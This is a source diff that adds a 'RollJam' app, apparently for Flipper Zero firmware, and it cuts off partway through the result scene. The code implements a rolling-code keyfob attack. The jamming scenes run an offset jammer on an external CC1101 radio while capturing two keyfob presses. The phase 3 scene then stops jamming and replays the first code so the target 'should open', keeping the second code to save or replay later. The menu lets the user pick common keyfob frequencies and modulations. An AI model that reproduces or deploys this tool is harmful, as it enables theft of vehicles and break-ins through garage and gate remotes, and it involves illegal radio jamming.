const uint32_t jam_offset_values[] = {
|
||||
300000,
|
||||
500000,
|
||||
700000,
|
||||
1000000,
|
||||
};
|
||||
|
||||
const char* jam_offset_names[] = {
|
||||
"300 kHz",
|
||||
"500 kHz",
|
||||
"700 kHz",
|
||||
"1000 kHz",
|
||||
};
|
||||
|
||||
const char* hw_names[] = {
|
||||
"CC1101",
|
||||
"Flux Cap",
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Scene handlers table (extern declarations in scene header)
|
||||
// ============================================================
|
||||
|
||||
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
|
||||
rolljam_scene_menu_on_enter,
|
||||
rolljam_scene_attack_phase1_on_enter,
|
||||
rolljam_scene_attack_phase2_on_enter,
|
||||
rolljam_scene_attack_phase3_on_enter,
|
||||
rolljam_scene_result_on_enter,
|
||||
};
|
||||
|
||||
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
|
||||
rolljam_scene_menu_on_event,
|
||||
rolljam_scene_attack_phase1_on_event,
|
||||
rolljam_scene_attack_phase2_on_event,
|
||||
rolljam_scene_attack_phase3_on_event,
|
||||
rolljam_scene_result_on_event,
|
||||
};
|
||||
|
||||
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
|
||||
rolljam_scene_menu_on_exit,
|
||||
rolljam_scene_attack_phase1_on_exit,
|
||||
rolljam_scene_attack_phase2_on_exit,
|
||||
rolljam_scene_attack_phase3_on_exit,
|
||||
rolljam_scene_result_on_exit,
|
||||
};
|
||||
|
||||
const SceneManagerHandlers rolljam_scene_handlers = {
|
||||
.on_enter_handlers = rolljam_scene_on_enter_handlers,
|
||||
.on_event_handlers = rolljam_scene_on_event_handlers,
|
||||
.on_exit_handlers = rolljam_scene_on_exit_handlers,
|
||||
.scene_num = RollJamSceneCount,
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Navigation callbacks
|
||||
// ============================================================
|
||||
|
||||
static bool rolljam_navigation_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
return scene_manager_handle_back_event(app->scene_manager);
|
||||
}
|
||||
|
||||
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
|
||||
RollJamApp* app = context;
|
||||
return scene_manager_handle_custom_event(app->scene_manager, event);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// App alloc
|
||||
// ============================================================
|
||||
|
||||
static RollJamApp* rolljam_app_alloc(void) {
|
||||
RollJamApp* app = malloc(sizeof(RollJamApp));
|
||||
memset(app, 0, sizeof(RollJamApp));
|
||||
|
||||
app->freq_index = FreqIndex_433_92;
|
||||
app->frequency = freq_values[FreqIndex_433_92];
|
||||
app->mod_index = ModIndex_AM650;
|
||||
app->jam_offset_index = JamOffIndex_700k;
|
||||
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
|
||||
app->hw_index = HwIndex_CC1101;
|
||||
|
||||
// Services
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
app->notification = furi_record_open(RECORD_NOTIFICATION);
|
||||
app->storage = furi_record_open(RECORD_STORAGE);
|
||||
|
||||
// Scene manager
|
||||
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
|
||||
|
||||
// View dispatcher
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
view_dispatcher_set_custom_event_callback(
|
||||
app->view_dispatcher, rolljam_custom_event_callback);
|
||||
view_dispatcher_set_navigation_event_callback(
|
||||
app->view_dispatcher, rolljam_navigation_callback);
|
||||
view_dispatcher_attach_to_gui(
|
||||
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
||||
|
||||
// Variable item list
|
||||
app->var_item_list = variable_item_list_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewVarItemList,
|
||||
variable_item_list_get_view(app->var_item_list));
|
||||
|
||||
// Widget
|
||||
app->widget = widget_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewWidget,
|
||||
widget_get_view(app->widget));
|
||||
|
||||
// Dialog
|
||||
app->dialog_ex = dialog_ex_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewDialogEx,
|
||||
dialog_ex_get_view(app->dialog_ex));
|
||||
|
||||
// Popup
|
||||
app->popup = popup_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewPopup,
|
||||
popup_get_view(app->popup));
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// App free
|
||||
// ============================================================
|
||||
|
||||
static void rolljam_app_free(RollJamApp* app) {
|
||||
// Safety: stop everything
|
||||
if(app->jamming_active) {
|
||||
rolljam_jammer_stop(app);
|
||||
}
|
||||
if(app->raw_capture_active) {
|
||||
rolljam_capture_stop(app);
|
||||
}
|
||||
|
||||
// Remove views
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
|
||||
variable_item_list_free(app->var_item_list);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
|
||||
widget_free(app->widget);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
|
||||
dialog_ex_free(app->dialog_ex);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
|
||||
popup_free(app->popup);
|
||||
|
||||
// Core
|
||||
scene_manager_free(app->scene_manager);
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
|
||||
// Services
|
||||
furi_record_close(RECORD_GUI);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
|
||||
free(app);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Entry point
|
||||
// ============================================================
|
||||
|
||||
int32_t rolljam_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
RollJamApp* app = rolljam_app_alloc();
|
||||
|
||||
FURI_LOG_I(TAG, "=== RollJam Started ===");
|
||||
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
|
||||
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
|
||||
rolljam_app_free(app);
|
||||
|
||||
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
|
||||
return 0;
|
||||
}
|
||||
164
applications/main/RollJam/rolljam.h
Normal file
164
applications/main/RollJam/rolljam.h
Normal file
@@ -0,0 +1,164 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/scene_manager.h>
|
||||
#include <gui/modules/submenu.h>
|
||||
#include <gui/modules/popup.h>
|
||||
#include <gui/modules/variable_item_list.h>
|
||||
#include <gui/modules/widget.h>
|
||||
#include <gui/modules/dialog_ex.h>
|
||||
#include <notification/notification.h>
|
||||
#include <notification/notification_messages.h>
|
||||
#include <storage/storage.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "RollJam"
|
||||
|
||||
// Max raw signal buffer
|
||||
#define RAW_SIGNAL_MAX_SIZE 4096
|
||||
|
||||
// ============================================================
|
||||
// Frequencies
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
FreqIndex_300_00 = 0,
|
||||
FreqIndex_303_87,
|
||||
FreqIndex_315_00,
|
||||
FreqIndex_318_00,
|
||||
FreqIndex_390_00,
|
||||
FreqIndex_433_07,
|
||||
FreqIndex_433_92,
|
||||
FreqIndex_434_42,
|
||||
FreqIndex_438_90,
|
||||
FreqIndex_868_35,
|
||||
FreqIndex_915_00,
|
||||
FreqIndex_COUNT,
|
||||
} FreqIndex;
|
||||
|
||||
extern const uint32_t freq_values[];
|
||||
extern const char* freq_names[];
|
||||
|
||||
// ============================================================
|
||||
// Modulations
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
ModIndex_AM650 = 0,
|
||||
ModIndex_AM270,
|
||||
ModIndex_FM238,
|
||||
ModIndex_FM476,
|
||||
ModIndex_COUNT,
|
||||
} ModIndex;
|
||||
|
||||
extern const char* mod_names[];
|
||||
|
||||
// ============================================================
|
||||
// Jam offsets
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
JamOffIndex_300k = 0,
|
||||
JamOffIndex_500k,
|
||||
JamOffIndex_700k,
|
||||
JamOffIndex_1000k,
|
||||
JamOffIndex_COUNT,
|
||||
} JamOffIndex;
|
||||
|
||||
extern const uint32_t jam_offset_values[];
|
||||
extern const char* jam_offset_names[];
|
||||
|
||||
// ============================================================
|
||||
// Hardware type
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
HwIndex_CC1101 = 0,
|
||||
HwIndex_FluxCapacitor,
|
||||
HwIndex_COUNT,
|
||||
} HwIndex;
|
||||
|
||||
extern const char* hw_names[];
|
||||
|
||||
// ============================================================
|
||||
// Scenes
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
RollJamSceneMenu,
|
||||
RollJamSceneAttackPhase1,
|
||||
RollJamSceneAttackPhase2,
|
||||
RollJamSceneAttackPhase3,
|
||||
RollJamSceneResult,
|
||||
RollJamSceneCount,
|
||||
} RollJamScene;
|
||||
|
||||
// ============================================================
|
||||
// Views
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
RollJamViewVarItemList,
|
||||
RollJamViewWidget,
|
||||
RollJamViewDialogEx,
|
||||
RollJamViewPopup,
|
||||
} RollJamView;
|
||||
|
||||
// ============================================================
|
||||
// Custom events
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
RollJamEventStartAttack = 100,
|
||||
RollJamEventSignalCaptured,
|
||||
RollJamEventPhase3Done,
|
||||
RollJamEventReplayNow,
|
||||
RollJamEventSaveSignal,
|
||||
RollJamEventBack,
|
||||
} RollJamEvent;
|
||||
|
||||
// ============================================================
|
||||
// Raw signal container
|
||||
// ============================================================
|
||||
typedef struct {
|
||||
int16_t data[RAW_SIGNAL_MAX_SIZE];
|
||||
size_t size;
|
||||
bool valid;
|
||||
} RawSignal;
|
||||
|
||||
// ============================================================
|
||||
// Main app struct
|
||||
// ============================================================
|
||||
typedef struct {
|
||||
// Core
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
SceneManager* scene_manager;
|
||||
NotificationApp* notification;
|
||||
Storage* storage;
|
||||
|
||||
// Views / modules
|
||||
VariableItemList* var_item_list;
|
||||
Widget* widget;
|
||||
DialogEx* dialog_ex;
|
||||
Popup* popup;
|
||||
|
||||
// Settings
|
||||
FreqIndex freq_index;
|
||||
ModIndex mod_index;
|
||||
JamOffIndex jam_offset_index;
|
||||
HwIndex hw_index;
|
||||
uint32_t frequency;
|
||||
uint32_t jam_frequency;
|
||||
uint32_t jam_offset_hz;
|
||||
|
||||
// Captured signals
|
||||
RawSignal signal_first;
|
||||
RawSignal signal_second;
|
||||
|
||||
// Jamming state
|
||||
bool jamming_active;
|
||||
FuriThread* jam_thread;
|
||||
volatile bool jam_thread_running;
|
||||
|
||||
// Capture state
|
||||
volatile bool raw_capture_active;
|
||||
|
||||
} RollJamApp;
|
||||
BIN
applications/main/RollJam/rolljam.png
Normal file
BIN
applications/main/RollJam/rolljam.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 220 B |
9
applications/main/RollJam/rolljam_icons.h
Normal file
9
applications/main/RollJam/rolljam_icons.h
Normal file
@@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
|
||||
// Icon assets are auto-generated by the build system
|
||||
// from the images/ folder. If no custom icons are needed,
|
||||
// this file can remain minimal.
|
||||
|
||||
// If you place .png files in an images/ folder,
|
||||
// the build system generates icon references automatically.
|
||||
// Access them via &I_iconname
|
||||
27
applications/main/RollJam/scenes/rolljam_scene.h
Normal file
27
applications/main/RollJam/scenes/rolljam_scene.h
Normal file
@@ -0,0 +1,27 @@
|
||||
#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
// Scene on_enter
|
||||
void rolljam_scene_menu_on_enter(void* context);
|
||||
void rolljam_scene_attack_phase1_on_enter(void* context);
|
||||
void rolljam_scene_attack_phase2_on_enter(void* context);
|
||||
void rolljam_scene_attack_phase3_on_enter(void* context);
|
||||
void rolljam_scene_result_on_enter(void* context);
|
||||
|
||||
// Scene on_event
|
||||
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
|
||||
|
||||
// Scene on_exit
|
||||
void rolljam_scene_menu_on_exit(void* context);
|
||||
void rolljam_scene_attack_phase1_on_exit(void* context);
|
||||
void rolljam_scene_attack_phase2_on_exit(void* context);
|
||||
void rolljam_scene_attack_phase3_on_exit(void* context);
|
||||
void rolljam_scene_result_on_exit(void* context);
|
||||
|
||||
// Scene manager handlers (defined in rolljam.c)
|
||||
extern const SceneManagerHandlers rolljam_scene_handlers;
|
||||
105
applications/main/RollJam/scenes/rolljam_scene_attack_phase1.c
Normal file
105
applications/main/RollJam/scenes/rolljam_scene_attack_phase1.c
Normal file
@@ -0,0 +1,105 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_cc1101_ext.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 1: JAM + CAPTURE first keyfob press
|
||||
// ============================================================
|
||||
|
||||
static void phase1_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_first.size > 0 &&
|
||||
rolljam_signal_is_valid(&app->signal_first)) {
|
||||
rolljam_signal_cleanup(&app->signal_first);
|
||||
app->signal_first.valid = true;
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase1_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 1 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "Jamming active...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 28, AlignCenter, AlignTop,
|
||||
FontSecondary, "Listening for keyfob");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 42, AlignCenter, AlignTop,
|
||||
FontPrimary, "PRESS KEYFOB NOW");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// Configure hardware type
|
||||
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
|
||||
|
||||
// Start jamming
|
||||
rolljam_jammer_start(app);
|
||||
|
||||
// Start capture
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_blue_100);
|
||||
|
||||
FuriTimer* timer = furi_timer_alloc(
|
||||
phase1_timer_callback, FuriTimerTypePeriodic, app);
|
||||
furi_timer_start(timer, 300);
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
|
||||
}
|
||||
|
||||
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
|
||||
app->signal_first.size);
|
||||
|
||||
// Stop capture cleanly
|
||||
rolljam_capture_stop(app);
|
||||
// Jamming stays active!
|
||||
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneAttackPhase2);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase1: cancelled by user");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
app->scene_manager, RollJamSceneMenu);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase1_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase1);
|
||||
if(timer) {
|
||||
furi_timer_stop(timer);
|
||||
furi_timer_free(timer);
|
||||
}
|
||||
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
108
applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c
Normal file
108
applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c
Normal file
@@ -0,0 +1,108 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_cc1101_ext.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 2: JAM + CAPTURE second keyfob press
|
||||
// ============================================================
|
||||
|
||||
static void phase2_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_second.size > 0 &&
|
||||
rolljam_signal_is_valid(&app->signal_second)) {
|
||||
rolljam_signal_cleanup(&app->signal_second);
|
||||
app->signal_second.valid = true;
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase2_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 2 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "1st code CAPTURED!");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 28, AlignCenter, AlignTop,
|
||||
FontSecondary, "Still jamming...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 42, AlignCenter, AlignTop,
|
||||
FontPrimary, "PRESS KEYFOB AGAIN");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// CRITICAL: completely clear second signal
|
||||
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
|
||||
// Stop previous capture if any
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
// Small delay to let radio settle
|
||||
furi_delay_ms(50);
|
||||
|
||||
// Start fresh capture for second signal
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_yellow_100);
|
||||
|
||||
FuriTimer* timer = furi_timer_alloc(
|
||||
phase2_timer_callback, FuriTimerTypePeriodic, app);
|
||||
furi_timer_start(timer, 300);
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
|
||||
}
|
||||
|
||||
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
|
||||
app->signal_second.size);
|
||||
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneAttackPhase3);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase2: cancelled by user");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
app->scene_manager, RollJamSceneMenu);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase2_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase2);
|
||||
if(timer) {
|
||||
furi_timer_stop(timer);
|
||||
furi_timer_free(timer);
|
||||
}
|
||||
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_cc1101_ext.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 3: STOP jam + REPLAY first signal
|
||||
// The victim device opens. We keep the 2nd (newer) code.
|
||||
// ============================================================
|
||||
|
||||
void rolljam_scene_attack_phase3_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
// UI
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 3 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 18, AlignCenter, AlignTop,
|
||||
FontSecondary, "Stopping jammer...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 32, AlignCenter, AlignTop,
|
||||
FontPrimary, "REPLAYING 1st CODE");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 48, AlignCenter, AlignTop,
|
||||
FontSecondary, "Target should open!");
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// LED: green
|
||||
notification_message(app->notification, &sequence_blink_green_100);
|
||||
|
||||
// 1) Stop the jammer
|
||||
rolljam_jammer_stop(app);
|
||||
|
||||
// Wait for jammer thread to fully stop and radio to settle
|
||||
furi_delay_ms(1000);
|
||||
|
||||
// 2) Transmit first captured signal via internal CC1101
|
||||
rolljam_transmit_signal(app, &app->signal_first);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
// Brief display then advance
|
||||
furi_delay_ms(800);
|
||||
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventPhase3Done);
|
||||
}
|
||||
|
||||
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventPhase3Done) {
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneResult);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase3_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
17
applications/main/RollJam/scenes/rolljam_scene_config.h
Normal file
17
applications/main/RollJam/scenes/rolljam_scene_config.h
Normal file
@@ -0,0 +1,17 @@
|
||||
#pragma once
|
||||
|
||||
/*
|
||||
* Scene configuration file.
|
||||
* Lists all scenes for the SceneManager.
|
||||
*
|
||||
* In some Flipper apps this uses ADD_SCENE macros.
|
||||
* We handle it manually via the handlers arrays in rolljam.c
|
||||
* so this file just documents the scene list.
|
||||
*
|
||||
* Scenes:
|
||||
* 0 - RollJamSceneMenu
|
||||
* 1 - RollJamSceneAttackPhase1
|
||||
* 2 - RollJamSceneAttackPhase2
|
||||
* 3 - RollJamSceneAttackPhase3
|
||||
* 4 - RollJamSceneResult
|
||||
*/
|
||||
129
applications/main/RollJam/scenes/rolljam_scene_menu.c
Normal file
129
applications/main/RollJam/scenes/rolljam_scene_menu.c
Normal file
@@ -0,0 +1,129 @@
|
||||
#include "rolljam_scene.h"
|
||||
|
||||
// ============================================================
|
||||
// Menu scene: select frequency, modulation, start attack
|
||||
// ============================================================
|
||||
|
||||
static void menu_freq_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->freq_index = index;
|
||||
app->frequency = freq_values[index];
|
||||
variable_item_set_current_value_text(item, freq_names[index]);
|
||||
}
|
||||
|
||||
static void menu_mod_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->mod_index = index;
|
||||
variable_item_set_current_value_text(item, mod_names[index]);
|
||||
}
|
||||
|
||||
static void menu_jam_offset_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->jam_offset_index = index;
|
||||
app->jam_offset_hz = jam_offset_values[index];
|
||||
variable_item_set_current_value_text(item, jam_offset_names[index]);
|
||||
}
|
||||
|
||||
static void menu_hw_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->hw_index = index;
|
||||
variable_item_set_current_value_text(item, hw_names[index]);
|
||||
}
|
||||
|
||||
static void menu_enter_callback(void* context, uint32_t index) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(index == 4) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventStartAttack);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_menu_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
variable_item_list_reset(app->var_item_list);
|
||||
|
||||
// --- Frequency ---
|
||||
VariableItem* freq_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Frequency",
|
||||
FreqIndex_COUNT,
|
||||
menu_freq_changed,
|
||||
app);
|
||||
variable_item_set_current_value_index(freq_item, app->freq_index);
|
||||
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
|
||||
|
||||
// --- Modulation ---
|
||||
VariableItem* mod_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Modulation",
|
||||
ModIndex_COUNT,
|
||||
menu_mod_changed,
|
||||
app);
|
||||
variable_item_set_current_value_index(mod_item, app->mod_index);
|
||||
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
|
||||
|
||||
VariableItem* offset_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Jam Offset",
|
||||
JamOffIndex_COUNT,
|
||||
menu_jam_offset_changed,
|
||||
app);
|
||||
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
|
||||
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
|
||||
|
||||
// --- Hardware ---
|
||||
VariableItem* hw_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Hardware",
|
||||
HwIndex_COUNT,
|
||||
menu_hw_changed,
|
||||
app);
|
||||
variable_item_set_current_value_index(hw_item, app->hw_index);
|
||||
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
|
||||
|
||||
// --- Start button ---
|
||||
variable_item_list_add(
|
||||
app->var_item_list,
|
||||
">> START ATTACK <<",
|
||||
0,
|
||||
NULL,
|
||||
app);
|
||||
|
||||
variable_item_list_set_enter_callback(
|
||||
app->var_item_list, menu_enter_callback, app);
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewVarItemList);
|
||||
}
|
||||
|
||||
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventStartAttack) {
|
||||
// Clear previous captures
|
||||
memset(&app->signal_first, 0, sizeof(RawSignal));
|
||||
memset(&app->signal_second, 0, sizeof(RawSignal));
|
||||
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneAttackPhase1);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_menu_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
variable_item_list_reset(app->var_item_list);
|
||||
}
|
||||
111
applications/main/RollJam/scenes/rolljam_scene_result.c
Normal file
111
applications/main/RollJam/scenes/rolljam_scene_result.c
Normal file
@@ -0,0 +1,111 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
|
||||
// ============================================================
|
||||
|
||||
static void result_dialog_callback(DialogExResult result, void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
